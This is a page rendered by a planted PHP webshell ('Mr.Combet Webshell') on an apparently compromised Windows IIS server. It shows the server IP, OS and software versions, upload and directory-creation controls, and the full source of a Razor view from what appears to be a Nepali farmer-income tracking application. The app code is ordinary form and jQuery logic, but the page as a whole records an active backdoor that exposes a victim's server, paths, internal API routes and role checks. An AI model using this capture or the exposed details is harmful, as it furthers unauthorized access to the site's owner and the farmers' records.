Mr.Combet Webshell
Your IP :
216.73.216.136
Server IP :
103.233.58.157
Server :
Windows NT WIN-4PGF72KEHKB 10.0 build 17763 (Windows Server 2016) AMD64
Server Software :
Microsoft-IIS/10.0
PHP Version :
7.3.25
Add File :
Submit
Add Directory :
Submit
Dir :
C:
/
inetpub
/
wwwroot
/
VITA
/
Views
/
FarmerDiary
/
View File Name :
_FarmerDiaryIncomeTab.cshtml
@model RER_Project.DataAccess.ViewModels.Baseline.BaselineViewModel @using RER_Project.Core.Helpers; @using RER_Project.BusinessLayer.BusinessService @{ var meta = AppUserService.GetCurrent(); } @{ var memberStatus = Model.MemberDetailView.IsActive; } @if (memberStatus) { <form id="CreateIncome"> <input type="hidden" id="IncomeId" name="Id" /> <input type="hidden" class="form-control " name="CollectionDate" id="CollectionDate" /> <input type="hidden" class="form-control" name="CollectionDateNepali" id="CollectionDateNepali" /> <div id="eror_msg"></div> <div class="row"> <div class="form-group col-md-3"> <label><strong>Data Collection Date</strong></label> @*<input type="date" class="form-control required" name="CollectionDate" id="CollectionDate" />*@ <input type="text" class="form-control required" id="collectionDateNepaliDatePicker" disabled /> </div> <div class="form-group col-md-3"> <label><strong>Commodity</strong></label> <select type="text" class="form-control required" id="CommodityIncome" onchange="commodityChangeCalled()"> <option value="@Model.MemberDetailView.Commodity">@Model.MemberDetailView.CommodityName</option> <option value="6">Others</option> </select> <label for="Commodity" generated="true" class="CommodityError error">This field is required.</label> @*<select type="text" class="form-control required" name="CommodityIncome" id="CommodityIncome" data-api="/commodity/select" data-api-selected-value="@Model.MemberDetailView.Commodity" disabled></select>*@ </div> <div class="form-group col-md-3 div_hide_show"> <label><strong>Product Name</strong></label> <select type="text" class="form-control required" name="CategoryId" id="CategoryIdIncome" data-api="/commodity_subtype/select"></select> </div> <div class="form-group col-md-3 income_show_hide"> <label><strong>Total Income (Rs)</strong></label> <div class="inputWithIcon"> <input type="text" class="curr form-control required currencyFormatter" onkeypress="return isNumberKey(this,event)" maxlength="10" name="Investment" id="Investment"> <span><strong>Rs</strong></span> </div> </div> <div class="form-group col-md-3 div_hide_show"> <label><strong> Production Qty</strong> </label> <div> <input type="text" class="curr form-control required currencyFormatter" onkeypress="return isNumberKey(this,event)" maxlength="5" id="HarvestingProductionQuantity" name="HarvestingProductionQuantity"> </div> @* <input type="text" onkeypress="return isNumberKey(this,event)" maxlength="8" min="0" class="form-control required" name="HarvestingProductionQuantity" id="HarvestingProductionQuantity" />*@ </div> </div> <div class="row"> <div class="form-group col-md-3 div_hide_show"> <label><strong>Consumption Qty</strong> </label> <div> <input type="text" class="curr form-control required currencyFormatter" onkeypress="return isNumberKey(this,event)" maxlength="5" id="ConsumptionQuantity" name="ConsumptionQuantity"> </div> @*<input type="text" onkeypress="return isNumberKey(this,event)" maxlength="8" min="0" class="form-control required" name="ConsumptionQuantity" id="ConsumptionQuantity" />*@ </div> <div class="form-group col-md-3 div_hide_show"> <label><strong>Loss Qty</strong></label> <div> <input type="text" class="curr form-control required currencyFormatter" onkeypress="return isNumberKey(this,event)" maxlength="5" id="LossQuantity" name="LossQuantity"> </div> @* <input type="text" onkeypress="return isNumberKey(this,event)" maxlength="8" min="0" class="form-control required" name="LossQuantity" id="LossQuantity" />*@ </div> <div class="form-group col-md-3 div_hide_show"> <label><strong>Sales Qty</strong></label> <div> <input type="text" class="curr form-control required currencyFormatter" onkeypress="return isNumberKey(this,event)" maxlength="5" id="SalesQuantity" name="SalesQuantity"> </div> @* <input type="text" onkeypress="return isNumberKey(this,event)" maxlength="8" min="0" class="form-control required" name="SalesQuantity" id="SalesQuantity" />*@ </div> <div class="form-group col-md-3 div_hide_show"> <label><strong>Qty Unit</strong></label> <select type="text" class="form-control required" name="IncomeQuantityUnit" id="IncomeUnit" data-api="/income_quantity_unit/select"></select> </div> </div> <div class="row"> <div class="form-group col-md-3 div_hide_show"> <label><strong>Total Sales Amount</strong></label> <div class="inputWithIcon"> <input type="text" class="curr form-control required currencyFormatter" onkeypress="return isNumberKey(this,event)" maxlength="15" name="TotalSalesAmount" id="TotalSalesAmount"> <span><strong>Rs</strong></span> </div> </div> <div class="form-group col-md-3 div_hide_show"> <label><strong>Sales Price Rate ( Avg. )</strong></label> <div class="inputWithIcon"> <input type="text" class="curr form-control required currencyFormatter" onkeypress="return isNumberKey(this,event)" maxlength="8" name="SalesPricePerUnit" id="SalesPricePerUnit" disabled> <span><strong>Rs</strong></span> </div> </div> <div class="form-group col-md-3 div_hide_show"> <label><strong>Traders Name</strong></label> <br /> <select class="form-control" name="TradersName" onchange="traderChanges()" style="width: 100%" id="TradersName" data-api="/traders/commoditywise/select/@Model.MemberDetailView.Commodity/@Model.MemberDetailView.ProvinceId"> </select> </div> <div class="hide_trader_wise"> <div class="form-group col-md-3 div_hide_show "> <label><strong>Point Of Selling ( बेचेको ठाउँ )</strong></label> <input type="text" class="form-control required" onkeypress="return /[a-z]/i.test(event.key)" name="PointOfSelling" id="PointOfSelling" /> </div> </div> <div class="form-group col-md-3 div_hide_show"> <label> <strong> @if (Model.MemberDetailView.Commodity == (int)EnumCommodityHelper.Commodity.MILK) { <span> Area of Grass Production</span> } else if (Model.MemberDetailView.Commodity == (int)EnumCommodityHelper.Commodity.FISH) { <span>Area of Ponds</span> } else if (Model.MemberDetailView.Commodity == (int)EnumCommodityHelper.Commodity.MAPS) { <span>Area of MAPS Production</span> } else if (Model.MemberDetailView.Commodity == (int)EnumCommodityHelper.Commodity.VEGETABLES) { <span>Area of Vegetable Production</span> } else if (Model.MemberDetailView.Commodity == (int)EnumCommodityHelper.Commodity.GOAT) { <span>Area of Grass Production</span> } </strong> </label> <input type="text" onkeypress="return isNumberKey(this,event)" maxlength="7" class="form-control required" name="ProductionArea" id="AreaOfProduction" /> </div> <div class="form-group col-md-3 div_hide_show"> <label><strong>Production Area Unit</strong></label> <select type="number" class="form-control required" name="ProductionAreaUnit" id="ProductionAreaUnit" data-api="/land/unit/select"></select> </div> </div> </form> } <div class="row"> <div class="col-lg-12"> @if (memberStatus) { <div class="pull-right"> @if (meta.RoleId == (int)EnumRoleHelper.Roles.Admin || meta.RoleId == (int)EnumRoleHelper.Roles.MnEExpert || meta.RoleId == (int)EnumRoleHelper.Roles.MnEOfficer) { <input type="button" value="Save" class="btn btn-primary" id="SubmitIncome" /> } <a href="/farmer_diary/time_frame/member/@Model.MemberDetailView.Id" class="btn btn-default"><i class="fa fa-arrow-circle-o-left" aria-hidden="true"></i> Back</a> </div> } <div class="pull-left"> <a class="btn btn-primary btnPrevious"><i class="fa fa-arrow-circle-o-left" aria-hidden="true"></i> Previous</a> </div> </div> </div> <div class="table-responsive" style="margin-top: 16px;"> <table class="table table-bordered table-hover" name="tblIncome" id="tblIncome"> <thead> <tr> @*<th rowspan="2" style="text-align:center;">Fiscal Year</th> <th rowspan="2" style="text-align:center">Quadrimester</th>*@ <th rowspan="2" style="text-align:center;padding-top:20px">Product Name</th> <th colspan="5" style="text-align:center">Quantity</th> <th rowspan="2">Price Rate (Rs)</th> <th rowspan="2" style="text-align:center">Total Sales</th> <th colspan="2" style="text-align:center">Area</th> <th rowspan="2">Trader</th> <th rowspan="2">POS</th> <th rowspan="2" style="text-align:center;padding-top:10px">Collection Date (BS)</th> @if (memberStatus) { <th rowspan="2" style="text-align:center;padding-top:20px">Action</th> } </tr> <tr> <th style="text-align:center">Production </th> <th style="text-align:center">Consumption </th> <th style="text-align:center">Loss </th> <th style="text-align:center">Sales </th> <th style="text-align:center"> Unit</th> @* <th style="text-align:center">Sales (Rs)</th>*@ @* <th style="text-align:center">Income (Rs)</th>*@ <th style="text-align:center">Production</th> <th style="text-align:center">Unit </th> </tr> </thead> <tbody> </tbody> <tfoot style="line-height:30px;background-color:#edf0ee;color:black" id="tblIncomeFooter"> </tfoot> </table> </div> <h3><u><span>Other Commodity</span></u></h3> <div class="table-responsive"> <table class="table table-bordered table-hover " name="tblIncomeForOtherCommodity" id="tblIncomeForOtherCommodity"> <thead> <tr> <th style="text-align:center;">Product</th> <th style="text-align:center;">Total Income</th> @if (Model.MemberDetailView.IsActive) { <th style="text-align:center;">Action</th> } </tr> </thead> <tbody id="tblFarmerDiaryIncomeForOtherCommodityBody"> </tbody> <tfoot style="line-height:30px;background-color:#edf0ee;color:black" id="tblFarmerDiaryIncomeForOtherCommodityFooter"> </tfoot> </table> </div> <script type="text/javascript"> $("#SubmitIncome").off("click").on("click", function () { var commodity = $('#CommodityIncome').val(); var category = $('#CategoryIdIncome').val(); debugger; if (commodity === "0") { $('#CommodityIncome').addClass('error'); $('.CommodityError').show(); if (category === "0") { $('#CategoryIdIncome').addClass('error'); $('.CategoryError').show(); } return; } function request(model) { const url = "/farmer_diary/income/create"; const data = JSON.stringify(model); return window.getAjaxRequest(url, "POST", data); } const form = $("#CreateIncome"); $.validator.unobtrusive.parse(form); if (!form.valid()) { return false; }; if (!window.confirmAction()) { return; }; WorkForce.loader.show(); var allFormData = window.serializeForm(form); var datas = $('#CommodityIncome').val(); debugger; function getModel() { return (getFarmerDiaryIncome()); } function getFarmerDiaryIncome() { var farmerDiaryIncome = {}; farmerDiaryIncome.Id = allFormData.Id; farmerDiaryIncome.CommodityId = parseInt($('#CommodityIncome').val()); if (farmerDiaryIncome.CommodityId == 6) { farmerDiaryIncome.Investment = Number(removeCommaFromString(allFormData.Investment)); } else { farmerDiaryIncome.Investment = null; } farmerDiaryIncome.CategoryId = allFormData.CategoryId; farmerDiaryIncome.CollectionDate = allFormData.CollectionDate; farmerDiaryIncome.CollectionDateNepali = allFormData.CollectionDateNepali; farmerDiaryIncome.HarvestingProductionQuantity = Number(removeCommaFromString(allFormData.HarvestingProductionQuantity)); farmerDiaryIncome.ConsumptionQuantity = Number(removeCommaFromString(allFormData.ConsumptionQuantity)); farmerDiaryIncome.LossQuantity = Number(removeCommaFromString(allFormData.LossQuantity)); farmerDiaryIncome.SalesQuantity = Number(removeCommaFromString(allFormData.SalesQuantity)); farmerDiaryIncome.PointOfSelling = allFormData.PointOfSelling; farmerDiaryIncome.TraderId = allFormData.TradersName; farmerDiaryIncome.TotalSalesAmount = Number(removeCommaFromString($("#TotalSalesAmount").val())); farmerDiaryIncome.IncomeQuantityUnit = allFormData.IncomeQuantityUnit; farmerDiaryIncome.FiscalYear = '@ViewBag.FiscalYear'; farmerDiaryIncome.Quadrimester = '@ViewBag.Quadrimester'; farmerDiaryIncome.MemberId = @Model.MemberDetailView.Id; farmerDiaryIncome.BaselineId = @Model.Baseline.Id; farmerDiaryIncome.GroupId = @Model.MemberDetailView.GroupId; debugger; farmerDiaryIncome.DistrictId = '@Model.MemberDetailView.DistrictId'; farmerDiaryIncome.SalesPricePerUnit = Number(removeCommaFromString($("#TotalSalesAmount").val())); farmerDiaryIncome.ProductionArea = $('#AreaOfProduction').val(); farmerDiaryIncome.ProductionAreaUnit = allFormData.ProductionAreaUnit; return farmerDiaryIncome; } const model = getModel(); const ajax = request(model); ajax.done(function (response) { WorkForce.loader.hide(); showNotification("success"); loadIncome(); clearAllIncomeData(); }); ajax.fail(function (xhr) { WorkForce.loader.hide(); ShowMessage("error", xhr.responseText); }); }) function clearAllIncomeData() { $('#IncomeId').val(''); $('#CategoryIdIncome').val(''); $('#HarvestingProductionQuantity').val(''); $('#ConsumptionQuantity').val(''); $('#LossQuantity').val(''); $('#SalesQuantity').val(''); $('#Investment').val(''); $('#PointOfSelling').val(''); $('#TradersName').val(null).trigger('change'); $('#FiscalYearIncome').val(''); $('#collectionDateNepali').val(''); $('#collectionDate').val(''); $('#IncomeUnit').val(''); $('#AreaOfProduction').val(''); $('#ProductionAreaUnit').val(''); $('#TotalSalesAmount').val(''); $('#SalesPricePerUnit').val(''); } function loadIncome() { // $('#CommodityIncome').trigger("change"); // commodityChangeCalled(); $('.CommodityError').hide(); $('.CategoryError').hide(); $('.hide_trader_wise').hide(); $('#TradersName').removeClass('required'); setCurrentDateInDatePickerIncome() const ajax = request(); function request() { const url = '/farmer_diary/income/member/' + @Model.MemberDetailView.Id + '/fiscal/' + @ViewBag.FiscalYear + "/quad/" + '@ViewBag.Quadrimester'; return window.getAjaxRequest(url, "Get", @Model.MemberDetailView.Id); } ajax.done(function (response) { $('#CommodityIncome').trigger("change"); addFarmerDiaryIncomeListToTable(response); }); ajax.fail(function (xhr) { ShowMessage("error", xhr.responseText); }); } function setCurrentDateInDatePickerIncome() { var incomeDate = new Date(); var incomeNepaliDate = calendarFunctions.getBsDateByAdDate(incomeDate.getFullYear(), incomeDate.getMonth() + 1, incomeDate.getDate()); var formatedNepaliDate = calendarFunctions.bsDateFormat("%y-%M-%d", incomeNepaliDate.bsYear, incomeNepaliDate.bsMonth, incomeNepaliDate.bsDate); $("#collectionDateNepaliDatePicker").val(formatedNepaliDate); $("#CollectionDate").val(formatDate(new Date())); $("#CollectionDateNepali").val(`${incomeNepaliDate.bsYear}-${incomeNepaliDate.bsMonth}-${incomeNepaliDate.bsDate}`); $('#collectionDateNepaliDatePicker').trigger("change"); } function addFarmerDiaryIncomeListToTable(response) { var status = '@memberStatus'; console.log(response); $('#tblIncome tbody > tr').remove(); $('#tblIncome tfoot > tr').remove(); $('#tblIncomeForOtherCommodity tbody > tr').remove(); $('#tblIncomeForOtherCommodity tfoot > tr').remove(); var table = $("#tblIncome tbody"); var tableForOtherCommodity = $('#tblIncomeForOtherCommodity tbody'); var totalSales = 0; var totalIncomeForOtherCommodity = 0; response.forEach(function (x) { if (x.category_name !== " ") { var row = "<tr>"; // row += "<td>" +x.fiscal_year+ "</td>"; //row += "<td>" + x.quadrimester + "</td>"; row += "<td>" + x.category_name + "</td>"; row += "<td>" + x.harvesting_production_quantity + "</td>"; row += "<td>" + x.consumption_quantity + "</td>"; row += "<td>" + Number(parseFloat(x.loss_quantity).toFixed(2)).toLocaleString("en-IN", { minimumFractionDigits: 0 }) + "</td>"; row += "<td>" + x.sales_quantity + "</td>"; row += "<td>" + x.income_quantity_unit + "</td>"; row += "<td>" + x.sales_price_per_unit + "</td>"; row += "<td>" + Number(parseFloat(x.total_sales_amount).toFixed(2)).toLocaleString("en-IN", { minimumFractionDigits: 2 }) + "</td>"; //row += "<td>" + Number(parseFloat( x.investment ).toFixed(2)).toLocaleString("en-IN", { minimumFractionDigits: 2 }) + "</td>"; row += "<td>" + x.production_area + "</td>"; row += "<td>" + x.production_area_unit + "</td>"; row += "<td>" + x.trader + "</td>"; row += "<td>" + x.point_of_selling + "</td>"; row += "<td>" + x.collection_date_nepali + "</td>"; row += "<td class='hideshow'>" + "<a class='btn btn-default btn-xs' style='color:dodgerblue' onclick=editFarmerDiaryIncomeForm(" + x.id + ") ><i class='fa fa-edit'></i ></a>" + " <a class='btn btn-default btn-xs' style='color:dodgerblue' onclick=deleteFarmerDiaryIncomeByIncomeId(" + x.id + ") ><i class='fa fa-trash'></i ></a> " + " <span style='cursor:pointer' onclick=showFarmerDiaryIncomeRecommendPopUp(" + x.id + ") class='badge'>Recommend</span> </center></td ></tr> "; table.append(row); totalSales += parseFloat(x.total_sales_amount); } else { var row = "<tr>"; row += "<td>Other</td>"; row += "<td><center>" + Number(parseFloat(x.investment).toFixed(2)).toLocaleString("en-IN", { minimumFractionDigits: 2 }) + "</center></td>"; row += "<td class='hideshow'><center>" + "<a class='btn btn-default btn-xs' style='color:dodgerblue' onclick=editFarmerDiaryIncomeForm(" + x.id + ") ><i style='cursor:pointer;' class='fa fa-edit'></i ></a>" + " <a class='btn btn-default btn-xs' style='color:dodgerblue' onclick=deleteFarmerDiaryIncomeByIncomeId(" + x.id + ") ><i class='fa fa-trash'></i ></a>" + " <span onclick=showFarmerDiaryIncomeRecommendPopUp(" + x.id + ") class='badge'>Recommend</span> </center></td > </tr>"; totalIncomeForOtherCommodity += parseFloat(x.investment || 0); tableForOtherCommodity.append(row); } }) var tblFooter = $("#tblIncome tfoot"); var footerRow = `<tr> <td ><strong>Total :</strong></td> <td colspan="6"></td> <td><strong><center> Rs. ${Number(parseFloat(totalSales).toFixed(2)).toLocaleString("en-IN", { minimumFractionDigits: 2 })}</center></strong></td> <td></td> <td></td><td></td><td></td><td></td><td class='hideshow'></td> </tr>` tblFooter.append(footerRow); var tblFooterForOtherCommodity = $("#tblIncomeForOtherCommodity tfoot"); var footerForOtherCommodityRow = `<tr> <td ><strong>Total :</strong></td> <td><strong><center> Rs. ${Number(parseFloat(totalIncomeForOtherCommodity).toFixed(2)).toLocaleString("en-IN", { minimumFractionDigits: 2 })}</center></strong></td><td class="hideshow"></td></tr>` tblFooterForOtherCommodity.append(footerForOtherCommodityRow); if (status === 'False') { $('.hideshow').hide(); } } function editFarmerDiaryIncomeForm(incomeId) { const ajax = request(incomeId); function request(incomeId) { const url = '/farmer_diary/income/' + incomeId; return window.getAjaxRequest(url, "Get", incomeId); } ajax.done(function (response) { console.log(response); clearAllIncomeData(); $('#IncomeId').val(response.Id); $('#CommodityIncome').val(response.CommodityId); if (response.CommodityId != 6) { debugger; $('#AreaOfProduction').val(response.ProductionArea); $('#CategoryIdIncome').val(response.CategoryId); $('#HarvestingProductionQuantity').val(response.HarvestingProductionQuantity); $('#ConsumptionQuantity').val(response.ConsumptionQuantity); $('#LossQuantity').val(response.LossQuantity); $('#SalesQuantity').val(response.SalesQuantity); $('#IncomeUnit').val(response.IncomeQuantityUnit).trigger('change');; $('#SalesPricePerUnit').val(getNumberWithComma(response.SalesPricePerUnit)); $('#TotalSalesAmount').val(response.TotalSalesAmount); $('#PointOfSelling').val(response.PointOfSelling); $('#TradersName').val(response.TraderId).trigger('change') $('#ProductionAreaUnit').val(response.ProductionAreaUnit); $('.div_hide_show').show(); $('.income_show_hide').hide(); } else { $('#Investment').val(response.Investment); $('.div_hide_show').hide(); $('.income_show_hide').show(); } $('#CollectionDate').val(response.CollectionDate); $('#CollectionDateNepali').val(response.CollectionDateNepali); if (response.CollectionDate === null) { response.CollectionDate = ''; } var collectionDate = new Date(formatDate(response.CollectionDate)); var collectionNepaliDate = calendarFunctions.getBsDateByAdDate(collectionDate.getFullYear(), collectionDate.getMonth() + 1, collectionDate.getDate()); var formatedNepaliDate = calendarFunctions.bsDateFormat("%y-%M-%d", collectionNepaliDate.bsYear, collectionNepaliDate.bsMonth, collectionNepaliDate.bsDate); $("#collectionDateNepaliDatePicker").val(formatedNepaliDate); window.scrollTo(200, 0); }); ajax.fail(function (xhr) { ShowMessage("error", xhr.responseText); }); } function deleteFarmerDiaryIncomeByIncomeId(incomeId) { let conf = confirm(`Are you sure you want to delete this Farmer Diary Income ?`); if (!conf) { return; } else { const ajaxResponse = requestFarmerDiaryIncomeToDelete(incomeId); ajaxResponse.done(function (response) { WorkForce.loader.hide(); if (response) { loadIncome(); clearAllIncomeData(); ShowMessage("success", "Successfully Deleted this Income Plan"); } WorkForce.loader.hide(); }); ajaxResponse.fail(function (xhr) { WorkForce.loader.hide(); ShowMessage("Error", xhr.responseText); }); WorkForce.loader.hide(); } } function requestFarmerDiaryIncomeToDelete(incomeId) { const url = "/farmer_diary/income/delete/"; const data = JSON.stringify({ "Id": incomeId}); return window.getAjaxRequest(url, "POST", data); } $("#HarvestingProductionQuantity").bind("change paste keyup", function() { var val = removeCommaFromString($("#HarvestingProductionQuantity").val()); if (val > 1) { $("#SalesQuantity").prop('disabled', false); $("#ConsumptionQuantity").prop('disabled', false); $("#LossQuantity").prop('disabled',false); } else { $("#SalesQuantity").prop('disabled', true); $("#ConsumptionQuantity").prop('disabled', true); $("#LossQuantity").prop('disabled',true); } }); $('#HarvestingProductionQuantity').bind("cut copy paste",function(e) { e.preventDefault(); }); $('#ConsumptionQuantity').bind("cut copy paste",function(e) { e.preventDefault(); }); $('#LossQuantity').bind("cut copy paste",function(e) { e.preventDefault(); }); $('#SalesQuantity').bind("cut copy paste",function(e) { e.preventDefault(); }); function onInputLossQty() { var salesQuantity = removeCommaFromString($("#SalesQuantity").val()); var salesPricePerUnit = removeCommaFromString($("#SalesPricePerUnit").val()); var sum = parseFloat(salesQuantity) * parseFloat(salesPricePerUnit); $('#TotalSalesAmount').val(getNumberWithComma(sum)); } $("#ConsumptionQuantity").bind("change paste keyup", function () { var consumptionQuantity = removeCommaFromString($("#ConsumptionQuantity").val()); var lossQuantity = removeCommaFromString($("#LossQuantity").val()); var productionQuantity = removeCommaFromString($("#HarvestingProductionQuantity").val()); var salesQty = removeCommaFromString($("#SalesQuantity").val()); if (consumptionQuantity >= (productionQuantity - lossQuantity - salesQty)) { ShowMessage("error", `Consumption Qty must be less than ${Math.abs(parseFloat(productionQuantity - lossQuantity - salesQty))}`); } //var totalSalesQty = parseFloat(productionQuantity) - parseFloat(consumptionQuantity) - parseFloat(lossQuantity); //$('#SalesQuantity').val(getNumberWithComma(totalSalesQty)); }); $("#LossQuantity").bind("change paste keyup", function () { var productionQuantity = removeCommaFromString($("#HarvestingProductionQuantity").val()); var consumptionQuantity = removeCommaFromString($("#ConsumptionQuantity").val()); var lossQuantity = removeCommaFromString($("#LossQuantity").val()); var salesQuantity = removeCommaFromString($("#SalesQuantity").val()); var totalSalesAmount = removeCommaFromString($("#TotalSalesAmount").val()); if (lossQuantity >= (productionQuantity - consumptionQuantity)) { ShowMessage("error", `Loss Qty must be less than ${Math.abs(parseFloat(productionQuantity - consumptionQuantity))}`); return; } var totalSalesQty = parseFloat(productionQuantity) - parseFloat(consumptionQuantity) - parseFloat(lossQuantity); $('#SalesQuantity').val(getNumberWithComma(totalSalesQty)); var perUnitSalesPrice = parseFloat(totalSalesAmount) / parseFloat(totalSalesQty); $('#SalesPricePerUnit').val(getNumberWithComma(perUnitSalesPrice)); }); $("#TotalSalesAmount").bind("change paste keyup", function () { var salesQuantity = removeCommaFromString($("#SalesQuantity").val()); var totalSalesAmount = removeCommaFromString($("#TotalSalesAmount").val()); var result = parseFloat(totalSalesAmount) / parseFloat(salesQuantity); debugger; $('#SalesPricePerUnit').val(getNumberWithComma(result)); }); $("#SalesQuantity").bind("change paste keyup", function () { var salesQuantity = removeCommaFromString($("#SalesQuantity").val()); var totalSalesAmount = removeCommaFromString($("#TotalSalesAmount").val()); var result = parseFloat(totalSalesAmount) / parseFloat(salesQuantity); $('#SalesPricePerUnit').val(getNumberWithComma(result)); }); function showFarmerDiaryIncomeRecommendPopUp(id) { $('#recommendFarmerDiaryModel').modal('show'); $('#RowIdInPopUp').val(id); $('#TableName').val('FarmerDiaryIncome'); } function commodityChangeCalled() { $("#Investment").val(''); const commodityId = $('#CommodityIncome').val(); if (commodityId != 6) { //clearIncomeData(); $('.div_hide_show').show(); $('.income_show_hide').hide(); $("#HarvestingProductionQuantity").addClass("required"); $("#ConsumptionQuantity").addClass("required"); $("#LossQuantity").addClass("required"); $("#SalesQuantity").addClass("required"); $("#IncomeUnit").addClass("required"); $("#SalesPricePerUnit").addClass("required"); $("#TotalSalesAmount").addClass("required"); $("#PointOfSelling").addClass("required"); $("#TradersName").addClass("required"); $("#AreaOfProduction").addClass("required"); $("#ProductionAreaUnit").addClass("required"); $("#Investment").removeClass("required"); $("#CategoryIdIncome").addClass("required"); $("#HarvestingProductionQuantity").val(''); $("#ConsumptionQuantity").val(''); $("#LossQuantity").val(''); $("#SalesQuantity").val(''); $("#IncomeUnit").val(''); $("#SalesPricePerUnit").val(''); $("#TotalSalesAmount").val(''); $("#PointOfSelling").val(''); $("#TradersName").val(''); $("#AreaOfProduction").val(''); $("#ProductionAreaUnit").val(''); $("#Investment").val(''); } else { //clearIncomeData(); $('.div_hide_show').hide(); $('.income_show_hide').show(); $("#HarvestingProductionQuantity").removeClass("required"); $("#ConsumptionQuantity").removeClass("required"); $("#LossQuantity").removeClass("required"); $("#SalesQuantity").removeClass("required"); $("#IncomeUnit").removeClass("required"); $("#SalesPricePerUnit").removeClass("required"); $("#TotalSalesAmount").removeClass("required"); $("#CategoryIdIncome").removeClass("required"); $("#PointOfSelling").removeClass("required"); $("#TradersName").removeClass("required"); $("#AreaOfProduction").removeClass("required"); $("#ProductionAreaUnit").removeClass("required"); $("#Investment").addClass("required"); } } function traderChanges() { var traderName = $("#TradersName option:selected").text(); console.log(traderName); if (traderName === 'Local Market(-)') { $('.hide_trader_wise').show(); $("#PointOfSelling").addClass("required"); } else { $('.hide_trader_wise').hide(); $("#PointOfSelling").val(''); $("#PointOfSelling").removeClass("required"); } } function isNumberKey(element, evt) { var charCode = (evt.which) ? evt.which : event.keyCode if (charCode > 31 && (charCode < 48 || charCode > 57) && !(charCode == 46 || charCode == 8)) return false; else { var len = $(element).val().length; var index = $(element).val().indexOf('.'); if (index > 0 && charCode == 46) { return false; } if (index > 0) { var CharAfterdot = (len + 1) - index; if (CharAfterdot > 3) { return false; } } } return true; } function getNumberWithComma(value) { value = value || 0; return Number(parseFloat(value).toFixed(2)).toLocaleString("en-IN", { minimumFractionDigits: 0 }) } function removeCommaFromString(value) { debugger; var result = parseFloat(value.replace(/,/g, '')); if (isNaN(result)) { return 0; } else { return result; } } </script> <style> .select2-selection__rendered { line-height: 29px !important; } .select2-container .select2-selection--single { height: 33px !important; } .select2-selection__arrow { height: 32px !important; } </style>